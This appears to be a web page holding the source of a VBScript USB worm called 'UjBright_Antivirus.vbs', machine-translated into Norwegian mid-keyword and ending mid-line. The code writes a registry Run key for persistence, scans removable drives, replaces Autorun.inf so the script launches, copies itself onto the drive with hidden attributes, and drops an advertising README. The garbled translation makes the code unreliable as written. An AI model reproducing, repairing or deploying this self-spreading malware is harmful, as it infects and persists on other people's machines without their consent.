Virus Ble Anitivirus

RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ Currentversion \\ Run \\ autoMe "," wscript.exe "" "og vinne og" \\ UjBright_Antivirus.vbs "" "Hvis ax = false Så wscr.Run" wscript.exe "" "og vinne &" \\ UjBright_Antivirus VBS "" "while (true) Set myDrives = fso.Drives for hver myFlashDrive I myDrives Hvis myFlashDrive.Drivetype = 1 Og myFlashDrive.Path" A: "Så hvis fso.FileExists (myFlashDrive.Path &" \\ Autorun.inf " ) Så Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 32 fso.Deletefile myFlashDrive.Path & "\\ Autorun.

inf", true End If Set auFile = fso.CreateTextFile (myFlashDrive .Path & "\\ Autorun.inf", true) auFile.write "[autorun]" & vbCrLf & "open = \\" og vbCrLf & "åpne = wscript.exe UjBright_Antivirus.vbs" & vbCrLf & "shell \\ Open \\ Command = WScript.exe UjBright_Antivirus.vbs "& vbCrLf &" shell \\ Open \\ Standard = 1 "auFile.close Set auFile = fso.CreateTextFile (myFlashDrive.Path &" \\ README.txt ", true) auFile.

write" Hei VENNER: "& vbCrLf &" Maaaring virus ito kung tawagin på makikita ng ibang ANTI-VIRUS, ngunit logre mag-alala kung ito'y hindi makikilala ng anu mang ANTI-VIRUS na nasa sa inyo. " & VbCrLf & "Dahil ito ang tanging paraan ko upang matugunan ang ibang ANTI-VIRUS na hindi makikilala ang ganitong Scripto na VIRUS na nakakasama" & vbCrLf & "ay kaya nitong PALITAN na maaring ayusin Niya ang ibang sinira dulot ng NAKAKASIRA na VIRUS." & VbCrLf & "" & vbCrLf & "-ADVERTISING-" & vbCrLf & "TIDLIG ADVENT REKLAME -.

Presenning Nila ay holdbare matagal kumupas, tag-init mann o tag-Araw" & VbCrLf & "RB PhotoArt STUDIO - Kan kagandahan sa kulay ng inyong PICTURE på holdbar pa." & VbCrLf & "104,1 DXMA WOW FM -.. Pinakikinggang himpilan ng RADIO Numero UNO sa Central Mindanao" & VbCrLf & "" & vbCrLf & "PARA SA GUSTONG MAGPA-ANNONSERE:" & vbCrLf & "bare kontakte meg: 09083223171 - UJBRIGHT" auFile.close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 39 Set minFil = fso.CreateTextFile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.

close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs") fAttr.Attributes = 39 End If Neste Med wscr .RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ Currentversion \\ Run \\ autoMe", "wscript.exe" "" og vinne & "\\ UjBright_Antivirus.vbs" "" .RegWrite "HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ Currentversion \\ Explorer \\ Advanced \\